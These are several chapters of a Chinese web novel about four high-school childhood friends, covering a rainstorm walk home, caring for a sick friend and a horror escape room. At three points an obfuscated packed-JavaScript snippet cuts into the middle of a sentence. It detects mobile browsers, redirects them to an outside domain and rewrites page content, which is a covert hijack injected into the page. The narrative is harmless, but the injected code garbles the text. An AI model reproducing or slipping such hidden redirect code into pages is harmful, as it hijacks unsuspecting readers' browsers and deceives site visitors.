元子衿夹菜的手在半空中微微一顿,声音不自觉低了下来:“那怎么办?” 她几乎已经忘了这茬,被眼下突如其来的状况打得措手不及,指尖无意识地摩挲着碗沿。 “你待会儿把容吟支开,”简悠悠抬起胳膊碰了碰元子衿,“我探探情况。” 话音未落,她已经自然地退后半步,元子衿会意,转身呼唤容吟:“容吟,我不好夹菜,你帮我拿下书包。” 简悠悠往外,容吟朝里,一个擦肩而过,两人完成了一场“交接仪式”。 “刚我听你说,打算约容吟一起去玩密室,是组那个局吗?” 简悠悠仍是一副认真挑选菜品的模样,问得很是随意。 一个没问怎么又开始了牵线计划,一个也就没解释。 “对啊,你觉着怎么样?” 简悠悠沉思片刻,摇了摇头。 古往今来,情侣必做的百件事里,玩鬼屋一直名列榜单前几名,因为它既可以增进感情又可以促进身体接触。 随着时代进步,这项提议进一步升级成了恐怖类型的密室逃脱,耗时更长,还可以凸显一下智商,所以林沉一很好奇简悠悠摇头的原因。 虽然要忽悠林沉一,但又不能表现得太明显,简悠悠斟酌着用词开口:“我知道你不怕,但是你还记得吗,就在我们之前看鬼片的时候,你有出现过一惊一乍的行为。” “我那是——” 林沉一要解释,简悠悠非常体谅地替他先一步圆了说辞,“那是人的本能反应,可以理解,但要是你在约会的时候表现出来,她可能会误会,对不对?重点是,容吟他不会出现这个本能反应,那么无形中是不是就起到了本不应该有的反衬托作用呢?而且你也得承认,在解题方面,也是容吟更胜一筹吧?” 见林沉一面色不愉,看起来已经掉进坑里,简悠悠决定再给他致命一击。 “长点儿心,你要知道,电灯泡也是会发出别的颜色的。” 8. 第一计划 嘴唇抿直,双眼无神,这是元子衿上到下午最后一节课时的状态。 今天是周六,原本不必上课,却是因为国庆的调休加课一天,一想到距离下课还有几十分钟要熬,她有些无力地撑着下巴看向了窗外。 天色灰暗,穿透层层乌云落下的日光有些朦胧,想起陆倩南早上出门前的提醒,她往抽屉的一角摸了摸。 “带伞了吗?” 元子衿冷不防开口的声音成功将神游太空的简悠悠拉回,只是她还是慢了半拍。 “啊?带了,不过是遮阳伞。” 听简悠悠这么一说,元子衿的脑海里已经浮现出那把伞的模样。 浅杏色,边缘是一圈蝴蝶的图案,为了方便携带,特意选的五折六骨款式,两人一起买的同款,她的那把是浅樱粉。 “欸,但愿只是细雨。” 铃声响起,喧嚣登时袭来,蓦地,一道响亮的叫喊声在走廊上脱颖而出。 “靠,下雨了!” 转瞬间,停留在教室里的人纷纷朝窗边侧目。 “怎么着,咱是走啊,还是等会儿?” 四个人的目光齐齐聚在桌上的两把遮阳伞上,面上的表情无一不是犹豫。 “你说这雨是越下越大,还是待会儿就能停?” 简悠悠将问题抛回给了林沉一。 林沉一摸了摸下巴上并不存在的胡须,沉声道:“不好说。” 两人各自偏头,视线没有多余地分给问也白问的容吟,直接对准了元子衿。 “元芳,你怎么看?” 元子衿咬唇想了想,提议道:“那就先下去看看?” 五分钟后,四人下至一楼,檐下早已挤满了躲雨的人,黑压压地排成一列。 地面上的水渍像某种活物般不断蔓延,雨丝在瓷砖上晕开了深浅不一的痕迹。 前排不时有人踮脚张望,晃动的后脑勺组成一道起伏的波浪。 这场景,没由来地让人心头发闷。 林沉一拿过简悠悠手里的伞,一举撑开在了头顶,“不等了,好不容易放假,早点回去才不算浪费。” 他嘴里高喊着“借过”,在人群里开辟出一道空口,简悠悠拉着元子衿紧随其后。 下一秒,第二把伞也相继撑开,四人两两分开走在伞下。 遮阳伞小,本着义气原则两个女生没有选择共伞,只是这般也没有拦住林沉一找骂。 “我说你俩怎么就不能买把大一点的伞,这能挡多少?” 简悠悠将伞往自己的方向一偏,翻了个白眼:“不打可以滚。” 细雨如丝,撑着伞的几人像是行走在一片朦胧的雾中,当眼前再度出现层叠的人群时,他们已经走到了校门口。 “这会儿根本打不到车,前面还排了十几号人。” 从教学楼走出后,元子衿和容吟就分了工,一个负责打伞,一个负责打车。 只是眼下正赶上了下班和放学的高峰,再加上又有这场雨的助力,激情创作一首《打车难》都比这件事本身容易。 视线越过人群向着马路张望片刻,容吟的眉头一直蹙着。 “公交车站那边也围了一圈人,不管等哪边,起码都要十分钟以上。” “有这功夫都到家了。” 简悠悠嘴一撇,认命地拱着林沉一向前抬脚,“走吧走吧。” 雨势渐大,落雨如柱,豆大的雨点砸在伞面上发出噼啪声响,一道闪电划破天际,紧随其后的惊雷让元子衿不自觉地瑟缩了一下。 容吟感受到手臂传来的轻颤,不动声色地将伞换到右手,左手顺势环住她的肩膀,带着人快步躲进路边的便利店。 “欢迎光临。” 自带感应的玻璃门打开,机械的迎客声在头顶响起,元子衿以为容吟是有东西要买,结果脚步却是止在了门口的台阶。 “怎么了?” 容吟将雨伞塞进她手里,反手将书包转到胸前,他向下迈了一步台阶,微微屈膝,后背弯成一道可靠的弧线。 “上来,我背你回去,这样我们都能少淋湿些。”他的声音混着雨声传来。 饶是刚刚一路在伞下缩着肩膀走,风一吹,元子衿还是打湿了半个肩头。 白色的短袖校服沁了水,隐隐露出下面的肩带颜色,腰身一侧也贴上了皮肤。 她踌躇地望了望雨幕中模糊的前路,又低头看了眼自己,将书包背带往上提了提,深吸一口气,手臂环过容吟的脖颈,整个人贴上了他的后背。 两人身体相贴的刹那,容吟的背脊明显僵直了一瞬。 他不知道元子衿有多少重量,只感觉得到她的温度,以及那份柔软。 他托着她腿弯的手不自觉地收紧了力道,声音也比平时低沉了几分,“……可以走了?” “嗯。”元子衿轻声应道,呼出的气息扫过他的耳廓。 视野陡然拔高,久违的新奇感将元子衿从方才心跳漏拍的微妙中抽离。 看着眼前这个近在咫尺的后脑勺随着步伐轻轻晃动,她微微抬眼,恍惚间回到了遥远记忆中的那个舞台。 舞台上表演节目的是一众六一班的同学,搭建的简易背景是一座城堡。 元子衿扮演的是国破等待救援的公主,容吟扮演的被邻国王子指派留下保护公主的骑士。 那时他也是这样,在聚光灯下弯下腰,将她稳稳背起。 最初的剧本结局其实就是常规俗套的公主和王子幸福生活在一起,作为编剧的简悠悠,同时也是班里最早一批沉迷于青春杂志的领头人,本意是没打算改动,只是好巧不巧,林沉一抽中了王子一角。 “你和容吟换换。” 一开始,简悠悠好声好气地同林沉一打着商量。 “凭什么,这是我运气好抽到的!” 难得一次抽中男主角,林沉一不肯干。 “我给王子写了一堆台词,你这个猪脑子连一首二十个字的古诗都背得磕磕绊绊,要是在台上卡住了怎么办?” 为了表现出王子的浪漫,简悠悠暴风吸入了几本中外名著,在还不懂何为矫揉造作的年纪,剧本里的用词已经相当华丽。 她不能接受自己的辛苦成果被浪费,更可况如若剧本交给了林沉一,就成了报废。 对于背书技能一事,林沉一虽心虚但仍然理直气壮。 “那你就缩写啊,上课的时候不是学过吗!我那美丽又善良的公主,你就改成我的公主,像这样,我不就记住了?” 见说不通,简悠悠也懒得和林沉一继续争执,只是当所有人再拿到新剧本时,发现公主的结局变了,她和骑士在一起了,一众小屁孩第一次接触到了撬墙角文学。 “笑什么?” 不知道是觉得回忆里的一众小屁孩太可爱,还是感叹简悠悠的思想太超前,元子衿都没意识到自己笑出了声。 “在笑……你尽忠职守。” 两人几乎没怎么太分开过,回忆也大都共通,这个词一说出,容吟就想到了那年的话剧表演。 “那公主准备给骑士什么奖励?” “容吟,你变了,现在居然这么市侩!” “时代在改变,思想在进步。” “……” 灰蒙蒙的雨幕里,那把浅樱粉的伞像是一朵亮眼的花,让人不自觉地被吸引了视线。 伞下的少年背着少女,两人有说有笑,青春美好的气息一下扑面而来。 韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765408|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影里有个经典的雨景画面,是男女主一起撑着一件衣服避雨奔跑,配合上那首背景音乐,十分有意境,简悠悠觉得若是拿来配此刻的元子衿和容吟,也自有一番风味。 镜头一转,她的视线落回和林沉一争抢摇摆的伞下,脑子里不合时宜地引用上了同部影片的一句台词,感觉却是唏嘘。 “我是唯一有伞却淋湿的人吗?” · 雨水洗刷过的空气格外通透,隐约能闻到泥土里翻出的青草味,陆倩南打开门时,凉意裹挟着草木的清香扑面而来。 元子衿正从容吟的背上跳下,见两人都是一副狼狈模样,她赶忙回身进屋,拿来两条干毛巾。 “你俩赶紧擦擦,别感冒了。” 陆倩南将两人从头到脚地打量了一圈,最后看向容吟:“你也是惯她,还背回来,鞋子都进水了吧?” 容吟笑说:“陆姨,没事,主要是我没带伞,和她挤一把,背着反而方便。” 元子衿跟着把话接上:“就是,背着我俩占地面积才能缩小。” “贫的你,得了便宜还卖乖。” 见元子衿已经擦得差不多,陆倩南一把抽走毛巾,推着人往楼梯口走:“赶紧冲个热水澡,别着凉了。” “知道了。” 元子衿拖长声调应着,却是在陆倩南身前灵巧地一个旋身,像只滑不溜手的小鱼,又回到了玄关。 她从伞筒里抽出一把深色的长柄伞,塞进容吟手里,“你拿这把伞走,赶紧回去洗澡哈。” 回家的路不过几分钟,容吟仍是一手接过,一手将湿漉漉的遮阳伞换了过去,“嗯,我走了。” 他视线后眺,朝站在后方的陆倩南颔首:“陆姨,我先回去了。” 陆倩南微笑道:“好,你小心点,到家也赶紧洗澡啊。” · 元子衿从卫生间出来时,一头长发已经在里面擦了个半干,用干发帽一盘,包着脑袋就坐到了床边。 她将放在床头柜上的手机拿过一看,简悠悠发来的消息已经占满屏幕。 【悠悠我心:我猜你洗澡去了,那容我先吐槽一下。】 【悠悠我心:林沉一这个狗东西,一路都在跟我抢伞!你知道吗,他居然好意思要我先送他回家!这个狗东西到底是怎么谈上恋爱的,他女朋友怎么还没把他给踹了!】 【悠悠我心:相比之下,我今天必须得好好夸夸容吟,什么叫青梅竹马,什么叫绅士风度,林狗子给我滚进来学习!】 【……】 看着满屏的白色气泡,元子衿已经从字里行间感受到简悠悠的气愤,她弯唇一笑,给去慰问。 【青青子衿:好说,下次再有这种情况我跟你换,让你好好感受一下什么叫青梅竹马,什么叫绅士风度。】 简悠悠这会儿正在线上和人热聊,元子衿消息刚发过去,消息框上方随即就跳出了“对方正在输入”几个字。 【悠悠我心:不,下次我还跟林沉一一起,我要在距离他家不到十米的时候一脚把他踢出去,让他体会一下什么叫前功尽弃!】 【青青子衿:啧啧啧,最毒妇人心呐~】 关于林沉一的话题适时终止,元子衿打算下楼吃饭,手心再度一震,简悠悠发来了新消息。 【悠悠我心:对了,我之前不是说你执行第一计划的时候像是没有目标,很迷茫,我刚刚突然想到,你完全可以以容吟作为参照啊!就他今天这个表现,以男朋友的标准衡量也相当优秀。】 元子衿紧了紧眉心,回了三个字:什么鬼? 简悠悠很快发来回复,十分豪爽地替她拍案定下。 【悠悠我心:没啥好犹豫的,你就按照容吟的标准来执行第一计划。】 9. 第二计划 国庆假期如约而至,元子衿开开心心地玩了几天,活动内容包括不限于和简悠悠一起逛街,和妈妈一起逛街,以及和林沉一一起逛街。 为了庆祝和程珂然在一起52天,林沉一殷情地邀请两位青梅帮他挑选礼物,由于简悠悠临时被一通电话发派去了外婆家帮忙处理微信故障,最终这担子是元子衿一人挑了。 其实这活儿她也乐意接,挑选漂亮的东西嘛,心情自然是好的,而且最后还不用自己付账,在商场过了一圈试戴瘾后,她替林沉一选了一条西太后的珍珠土星手链。 · 林沉一的庆祝日就在逛街后的第二天,而这一天元子衿的日程只有一个—— 替简悠悠打掩护。 接到林沉一来电时,她正在换出门的衣服。 “这个时间点,你不是应该出门和女朋友庆祝去了吗?打电话给我干嘛?” “我听简悠悠说你今天没什么事,而且为了替她打掩护还得在外面待一天?” 元子衿正把百褶裙往腰上拉,闻言顿了顿:“所以……有何指教?” “昨天我俩不是一起逛街去了嘛,容吟就和班里的同学包了个场子打篮球,可能是打得太猛,又没注意好,受凉了感冒在家。我刚打电话给他,听着声音特虚。” 元子衿假期的前几天都在逛街,而容吟假期的前几天都在陪父母社交,从结婚到满月再到寿宴,贯穿了不是同一个人的一生。 昨天两口子本还打算带着他继续奔赴外地赶下一个场子,容吟果断拒绝,后果就是现在感冒孤身一人在家,无人照顾。 “我心想,你在外面也是待一天,不如去他那里待一天呗,他肯定也不用你做什么,就在旁边盯会儿,你觉得呢?主要是事儿都赶一天了,我这要是临时反水,我都不敢想那画面得多美。” 衣帽间里有个之前被元子衿更新换代扔在地上的软沙发,换装完毕后她就陷在了里头。 听完林沉一一番诚恳的拜托,元子衿爽快应下:“OK,问题不大。那我要带点什么东西过去吗?他吃药了吗?” “我问他,他说已经吃了药,要不你看着给他整点吃的?吃过午饭我争取早点回,到时候来接你班。” 林沉一安排得明明白白,元子衿也就只管执行。 “行。” · 和父母打过招呼,元子衿脚步轻快地走到了简家门口。 这是两人商量好的剧本,她先在简书华面前露一下脸,然后再和慢一步做好出门工作的简悠悠一同出发。 “你俩今天在哪儿约会?” 看着简悠悠不似平时只背个起装饰作用的小包,而是提了个方方正正的帆布袋,元子衿有些好奇。 简悠悠抿着嘴唇笑了下,有点无奈但又甘之如饴:“图书馆。” 江煦成绩优异,在年级前列也排得上号,平日的空闲时间不是帮着在自家奶茶店里干活就是勤跑图书馆,虽然简悠悠的出现是个不可控的意外,但他还是在尽量平衡着自己的生活。 “对了,我待会儿陪你走到路口的超市,正好去买点小米。” 生病喝粥的起源元子衿无从考证,但小说和电视剧都是这么个流程,她也就随波逐流了。 简悠悠侧眸:“给容吟啊?” 元子衿点头:“嗯,他这个娇气鬼,不爱喝白粥。” 抵达超市后,元子衿直奔粮油区,简悠悠则是杀去了零食区。 简悠悠拿了个购物篮,快速拣了几样元子衿爱吃的东西,两人再度汇合时,她成功地看到了元子衿睁大的双眼。 “干嘛?你行贿啊。” 简悠悠摇了摇头:“林沉一同志负责传递军情,简悠悠同志负责采买物资,元子衿同志负责悉心照顾,咱仨各司其职,友爱团结,祝愿容吟同志早日康复。” 不论是此前拜托元子衿在外闲逛一整天为自己打掩护,还是此刻让她独自照料容吟,简悠悠心里始终萦绕着几分歉疚,眼下终于逮着个能略尽绵力的机会,自然表现得格外热忱。 “你这都一堆什么乱七八糟的台词。” 元子衿没忍住笑出声,简悠悠推着她往结账台的方向走,“行了,结账去。你呢,安心在家照顾他,等我给你打包蛋糕回来。就前两天吃的那家怎么样?” “你这都给我买一堆吃的了,还打包什么啊?” “要的要的,你辛苦了……” 超市里人来人往,摩肩擦踵,两人的说话声渐渐消散于排队的人群中。 · “滴哩哩——” 输入密码后,元子衿拎着一袋东西顺利进入容吟家。 她动作娴熟地翻出专属拖鞋换上,然后将东西放到了厨房的岛台。 厨房很干净,干净到除了调料外几乎没有能入嘴的东西,冰箱里也差不多。 左侧,整整齐齐地码着两排饮料,其中还夹杂着几罐啤酒,右侧,塑料盒里躺着三枚鸡蛋。 不过幸亏她有所准备,一开始就没有就地取材的打算。 正要将冰箱门合上,元子衿的视线不经意瞥到门边置物架上放着的几瓶草莓酸奶,她拿起一瓶看了看,日期还很新鲜。 “早知道就来他家蹭一瓶了,非要捆绑销售,害我提得手疼。” 从电饭煲里取出锅胆,再将买来的小米倒入,简单清洗,沥水,最后按照刻度线加水,胸有成竹地按下煮粥键,元子衿唇角扬起。 “完美搞定!这么简单的一件事,也不知道电视剧里干嘛演得那么夸张,为了一碗粥还感动得要死要活,啧啧啧。” 扫视了一圈周围,似乎没什么需要她再做的事情,元子衿从购物袋里挑挑拣拣出几样,拿着手机上了二楼。 容吟房间的门是关上的,元子衿习惯性地抬手敲门。 刚敲了一下,忽而意识到他应该是吃了药在熟睡,思忖片刻,轻轻按下把手,踮着脚走了进去。 房间里一片昏暗,厚重的遮光窗帘将外界光线隔绝得严严实实,好在元子衿对这里的布局了如指掌,待眼睛适应后,径直走向了窗边。 靠近床尾一侧的窗帘稍许拉动,光亮瞬时沿着缝隙泄入。 元子衿发誓,她只拉开了不到两根手指的间距,也不知道容吟是灵敏地听到了这点细微动静,还是本身就警觉性太强,她身子还没转过,就听他开了口。 “谁?” “是我。” 见容吟醒来,元子衿没再刻意放轻动作,她脚尖方向一转,向着床边走去。 “你怎么就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765409|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒了,我明明动作很轻呀?” 容吟躺着没动,只是视线紧锁着那张渐渐在眼前清晰的脸庞,他喉结滚动了下,声音带着初醒的沙哑。 “你怎么来了?” 听着虽有些干涩,但不算有气无力。 元子衿在床边蹲下,两手交叠放枕边,将脑袋搁了上去:“来照顾你呀。” 她双眼眨了眨,问他:“是不是很感动?” 幽暗的光线下,容吟的眼睛亮得出奇,像是夜色中未眠的星。 他轻轻一笑,应了个“嗯”字,指使着元子衿打开床头壁灯的瞬间,将眼中如星般的光亮分了一半出去。 开了灯,清楚瞧见脸色苍白又有些病恹的容吟后,元子衿这才有了“他是真的生病了”的实感。 她的嘴角不自觉地耷拉下来,声音也跟着放轻:“你现在感觉怎么样啊?” 容吟精准地捕捉到元子衿的变化,不愿叫她担心,又不想撒谎,含糊道:“还好。” 大抵是吃了药出过汗的缘故,容吟额间的碎发丝丝缕缕地拧在了一起,元子衿伸手想帮忙拨开,他头一歪,避过了她。 “脏。” “哪里脏了,不就是出汗而已。” 微凉的指尖仍是固执地覆上了他的额头,容吟一愣,眼睛微睁,等他反应过来,那只手已经抽了回去。 “还有一点烧,不过幸好我机灵,给你准备了好东西。” 从超市回来的路上元子衿特意去了一趟药店,她心想,入口的药得慎重,但外用的退热贴没毛病啊,反正备用着总是好的。 “登登登登!看,是不是很可爱,元子衿精选出品。” 视野里,一张印有卡通图案的退热贴出现在了元子衿手中。图案是只小老虎的头部,刚好将王字完整展现出。 元子衿撕开退热贴的包装,指尖轻轻抚平边缘,温凉的触感再次贴上容吟发烫的额头。 她今天扎了半丸子头,俯身时发丝垂落,略微遮挡住了壁灯柔和的暖光,霎时间,像是给两人隔出一方小小的天地。 “容吟小朋友,”她故意拖长尾音,指尖在他额前轻轻一点,“你要乖乖的,感冒才会好得快。” 容吟抬眸时,眼底的暗色如化不开的浓墨,在暖黄光晕中显得格外深邃。 他喉结微动,想说什么,却被她突然举起的手机打断。 镜头里,元子衿笑得眉眼弯弯,而他额上贴着卡通图案的退热贴,反差得有些可爱。 “好啦,不闹你了,再睡会儿吧。” 她替他掖好被角,声音轻柔:“我给你煮了粥,待会儿中午的时候再叫你。” 壁灯熄灭,色彩抽离,房间重新恢复一室静谧。 窗帘仅拉开了一道狭窄缝隙,却成了室内唯一的自然光源,一道身影悄然掠过,盘腿坐在了床尾的沙发上。 元子衿戴了一只耳机追剧,为了不发出动静,只拆了一根棒棒糖作为消遣。 她轻轻将糖放入嘴里,糖纸小心地捏在了掌心。 没有声响,也没有刺眼的光线打扰床上人的安眠,可容吟的目光还是不由自主地被牵引了过去。 在朦胧的睡意中,他望着那道专注追剧的剪影,意识渐渐模糊,最终又沉入了梦乡。 10. 第二计划 窗外阳光明媚,时间推进至中午。 元子衿从楼上悠悠走下,准备享用她的简易午餐。 一个贝果和一瓶草莓酸奶。 电饭煲里的粥已经煮好,跳转到了保温状态,她将贝果的包装撕开,叼在了嘴里,而后拆了一袋冰糖,准备往锅里加。 容吟不爱吃甜,她也就象征性地放了两颗,左右添点味道。 瓷勺在锅中轻轻搅动,米粒翻滚于金黄的粥汤中,元子衿从消毒柜里取出一只空碗。 刚出锅的粥温度尚高,蒸腾的热气模糊了眉眼,她盛完最后一勺忙不迭放下,瓷勺在碗中轻轻一晃,发出清脆的碰撞声。 “嘶,好烫。” 元子衿坐在餐桌前将贝果吃掉,又解决完了酸奶,等碗转移到容吟手中时,温度适中宜人。 “你吃了什么?” 瓷勺斜斜搭在碗沿,容吟没去动它,只是垂眸看着碗里凝起的一层薄薄米油,在灯下透着磨砂质感。 “没吃啊。” 元子衿顺着床沿坐下,睫毛在眼睑投出细碎的阴影,“哪儿顾得上呀,这不得专心照顾你,鞠躬尽瘁。” 她说话时,唇齿间还残留着淡淡的草莓奶香,甜丝丝的气息随着呼吸轻轻拂过,容吟目光在她的唇角停留一瞬,眼底浮起笑意,顺着她的话点头,“嗯,辛苦了。” 瓷勺搅动,米油结成的薄膜破裂,容吟舀起一勺粥送入了嘴里,喉结滚动间,他状似无意地挑起新话题:“昨天帮着林沉一挑了什么?” 提起挑礼物,元子衿双眼蓦地泛起光亮,解锁手机时,指甲磕在屏幕上发出“嗒嗒”的声响。 “我给他挑的这个手链,怎么样,好看吗?” 屏幕怼到眼前,照片里的手腕白皙纤细,一圈串着珍珠的手链点缀其上,合衬相宜。 “这个手链有几个颜色,我觉得都挺好看,纠结了好久。” 目光掠过元子衿无意识摩挲腕骨的动作,他问:“怎么没给自己也买一条?” “选择困难症啊!” 翻着相册里试戴手链的几张照片,元子衿仿佛又回到了昨天在柜台上纠结的时刻,照片往左滑了过去又再度滑回,直至余光注意到容吟停下了喝粥的动作。 元子衿将手机屏幕熄灭,板起一张脸出声催促:“你快趁热喝完,不然我会质疑自己厨艺的。” 听了这话,容吟没再用勺盛,粥的温度已经很适宜,浓稠度也刚好,他仰头一口,彻底解决。 元子衿抽了张纸巾递过去,顺手接过他手中的空碗,指尖不经意擦过他的指节。 “你知道电视剧里,女主角喝了一碗男主角煮的粥后有多感动吗,那眼泪哗哗的。” 她挑眉看他,“你说说你,有什么表示?” 元子衿这会儿已经站起了身,容吟头微微仰起,向后一靠,抬眸时眼底带着若有似无的笑意:“你希望我有什么表示?” 元子衿伸出四根手指,在他眼前晃了晃:“四个字,好好想想。” 容吟的目光直直锁住她,唇角微扬,嗓音低缓,带着几分戏谑:“以身相许?” 元子衿轻哼一声,意料之中似的,指尖在他额前虚点了一下,“美得你,为奴为婢还差不多!” · 再度醒来时,容吟发了一身汗,但整个人恢复了不少精神。 他眯着眼看了下手机上的时间,不过才下午三点。 半刻钟前,林沉一给他发了消息,说是还要晚一点才能结束约会,过来估计要个几十分钟,又问他现在感觉好点没有。 他一边回复着消息,一边趿拉着拖鞋走向沙发。 【熬夜至今:我没事了,发了汗已经退热。】 【熬夜至今:你不用赶回来,继续约会吧。】 元子衿一头倒在沙发扶手上睡得正香,身上的毯子垂了大半落在地上。 忽地记起暑假时四人通宵看鬼片,在沙发上四仰八叉地睡醒后她捂着后颈叫酸叫疼的画面,容吟打算把她抱到床上去睡。 手刚伸出,身上的黏腻感就提醒着他应该先去洗个澡。 于是方向向下,转而帮她将毯子先遮盖好。 容吟在楼下的卫生间里冲了个热水澡,头发胡乱地半擦干,向后抓了抓,露出光洁的额头。 回了房间,原本脚步的方向直指沙发,临了想起什么,又掉转了个。 他将床上的被套床单全部拆下,从衣柜里拿出一套干净的换上。 扫了眼平整的床面,又看了下堆在脚边的一团,没忍住扶着额头笑了笑。 还真是勤快。 “元子衿,醒醒,我抱你去床上睡。” 容吟单膝抵在沙发边缘,温热的掌心贴上她微凉的脸颊,元子衿睫毛颤动几下,从睡梦中醒来的过程像是沁了水的羽毛,沉重又缓慢。 他看着她瞳孔里涣散的星光渐渐聚拢,准备将手转移到后颈上,指腹滑过下颌线时,睡意未消的人下意识往他掌心蹭了蹭,发丝扫过腕表的玻璃镜面,窸窣作响。 “还困不困?” “嗯。” 应答的声音裹着黏稠的睡意,还带着几分被扰醒的委屈,容吟听着轻笑了一下,“搂紧我,”他声音低得近乎气音,用着哄人的语调:“不然会摔。” 元子衿的手臂像藤蔓般缠上来时,容吟突然理解了什么叫作茧自缚。 毛茸茸的发顶抵着他突突跳动的颈动脉,温热的鼻息透过T恤面料灼烧着他的锁骨。 一个单向的、克制的公主抱,就这样成了两人双向的、紧密的相拥。 · 假期的最后一天,林沉一还是组了密室逃脱的局,参加的人就是他们自己几个。 他始终没有放弃想带程珂然体验一把的打算,反倒是因为简悠悠的提醒,觉得很有必要先模拟演练一局。 “你没事吧?约会还搞演练?” 简悠悠对此十分嫌弃。 “这不是听了你的分析,我想着要是提前演练一次,我肯定能表现得更好嘛!” 简悠悠被林沉一的话堵得不知道该说什么,甚至有种搬了石头砸自己脚的感觉。 四个人里,容吟和简悠悠是一点不怕,林沉一是装作不怕,只有元子衿,怕得很坦然,但是又心痒,俗称又菜又爱玩。 林沉一选的主题叫《医怨》,开场的布景就是医院走廊。走廊两侧大约有六七间病房,每一间都散发出阴森可怖的气息。 四人前行的排列顺序是林沉一在前,容吟稳后,简悠悠牵着元子衿卡在了中间。 走廊的冷白灯光一闪一闪,雪白的墙壁布满了血色手印,冷气丝丝缕缕地从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765410|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各处钻出,却像是把周身的空气变成粘稠的液体,叫人举步难行。 第一间病房前,林沉一偏过头,压低了嗓音询问后面三个人,“准备好了?” 得到一致肯定的答案后,手从门把手上压了下去。 病房里的灯光不算太暗,勉强可视的程度,仔细一听,整个空间里只有仪器运作的细微动静。 病床的拉帘遮住了半张床,只能看见上方躺着的人的下肢部分,尽管做足了心理准备,一把拉开帘子的瞬间,林沉一还是出于本能反应扯过了身旁人。 他忘了跟在身后的人是简悠悠,结果就是得到她劈头盖脸的一通臭骂。 “林沉一你有病啊!拉个女生当挡箭牌,你那天是要跟你女朋友谈恋爱还是决一死战啊!” 林沉一自知理亏,低着头被简悠悠训得跟个小鸡仔一样,以至于再抬眸对上已经从病床上弹坐起来好几秒的NPC时,害怕的情绪荡然无存,反倒从对方的眼神里看出一丝同情。 简悠悠调整好了自己的情绪,这才发现身后空无一人。 “你难道有第三只手,还把他俩关外面了?” 面对简悠悠的质问,林沉一头摇得跟个拨浪鼓似的:“我冤枉,这可不关我的事!” 这时,病床上的NPC出来说了句公道话:“他拉帘子触发了警报,应该是刚好把你拉过来,门就自动关上了。” 被关在门外的元子衿一开始是又惊又怕,要不是还有个容吟跟在最后,她出去非掐死林沉一不可,后来听到病房里简悠悠对他一顿狠批,这才稍微顺了口气。 “怎么办?我们是在这等着,还是去其他房间?” 元子衿这会儿能仰仗的人只有容吟,揪着他的衣服不肯松。 “这里应该是分了支线,他们找不到密码是出不来这个房间的。” 照顾着元子衿的情绪,容吟问她要不要出去,她犹豫了好久,还是选择留下。 “那我们就先去其他房间吧。”末了,她又问:“你能保护好我吧?” 走廊顶上的灯光又熄灭了一些,脚边的绿色通道指示灯反而凸显出光亮,容吟声音带笑说出“能啊”的这一幕,原本应该是一个可以展现出他帅气和男友力的画面,可惜绿光从下打上来,透着说不出的诡异,以至于元子衿觉得自己刚刚问出口的其实是“你能让我死得痛快吧?” 元子衿两手各攥着容吟的两边衣角,跟在他身后依次进了其他病房,里面等着两人的包括不限于手拿锯子要砍人的医生,抱着娃娃冲人哭的孕妇,以及全身缠满纱布依然坚持单脚蹦跳的木乃伊。 虽然说是解密,实际玩下来都是追击战,一路精疲力尽跑到最后一个房间时,元子衿已经出了满头汗。 “怎么样?还能坚持吗?” 容吟手臂收紧,将不断往下滑的元子衿牢牢箍在身侧,他太了解她,要是不一鼓作气冲出去离开,一旦蹲下休息了,她更不想挪动。 稍作平息后,元子衿抬起手比了个OK的手势,再落下时,恰好被容吟温热的手掌轻包裹住。 方才只顾着躲避追逃,一路相牵也不觉得异样,此刻留神,掌心相贴的温度莫名叫人有些脸热。 来不及细品这份微妙,容吟已经悄然将门推开一丝缝隙,直至彻底成功脱逃,两人的手始终都是紧紧牵着。 11. 第二计划 “一寸光阴一寸金,假期没了好伤心。” 林沉一拖着长音,书包背带斜挂在肩上直晃悠,“欸,又要见到美孟了,真是叫人提不起劲儿呐。” 四人刚在小区门口碰上头,听见他又是叹气又是抱怨,元子衿腆他:“她见到你,还应该操心自己的血压呢,你作业做完了吗?” 孟美兰年近四十,教语文,年纪本不算大,可班主任的担子压下来,粉笔灰里掺着操心事,血压计上的数字便跟着年级排名一起上蹿下跳。 高一的入学考试没开好头,三班的整体成绩不上不下,眼瞅着月考又要来临,瞧着班里拖后腿的几个崽子,那真是恨不能戴着氧气罩上班。 “当然,不就五张卷子加个英语小练,轻松拿捏。” 林沉一嘴角上扬,配合地做出手势。 昨天从密室出来后,简悠悠就没再搭理过他,这会儿实在是忍不住,发出了一声冷笑。 “谁告诉你只有五张卷子?你就没想过这点儿数值加一块儿都不够整除九门学科?” 